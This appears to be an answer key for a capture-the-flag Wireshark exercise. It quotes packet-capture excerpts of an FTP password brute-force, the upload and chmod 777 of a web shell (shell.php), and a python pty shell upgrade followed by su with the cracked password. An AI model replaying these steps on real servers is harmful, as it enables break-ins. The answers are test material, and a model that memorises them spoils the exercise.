Question-6 Wireshark Analysis

Q-1? Ans:Hydra

Q-2?Ans:jenny

```
220 Hello FTP World!
USER jenny
331 Please specify the password.
PASS password
530 Login incorrect.
USER jenny
331 Please specify the password.
PASS 666666
530 Login incorrect.
```

Q-3?Ans:password123

```
220 Hello FTP World!
USER jenny
331 Please specify the password.
PASS 111111
530 Login incorrect.
USER jenny
331 Please specify the password.
PASS password123
230 Login successful.
```

Q-4?Ans:"/var/www/html" is the current directory

```
220 Hello FTP World!
USER jenny
331 Please specify the password.
PASS password123
230 Login successful.
SYST
215 UNIX Type: L8
PWD
257 "/var/www/html" is the current directory
PORT 192,168,0,147,225,49
200 PORT command successful. Consider using PASV.
```

Q-5?Ans:shell.php

```
STOR shell.php
150 Ok to send data.
226 Transfer complete.
SITE CHMOD 777 shell.php
200 SITE CHMOD command ok.
QUIT
221 Goodbye.
```

Q-6?Ans:www-data

```
$ whoami
www-data
$ ls -la
total 1529956
```

Q-7?Ans:python3 -c 'import pty; pty.spawn("/bin/bash")'

```
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@wir3:/$ su jenny
su jenny
Password: password123
```

Q-8?Rootkit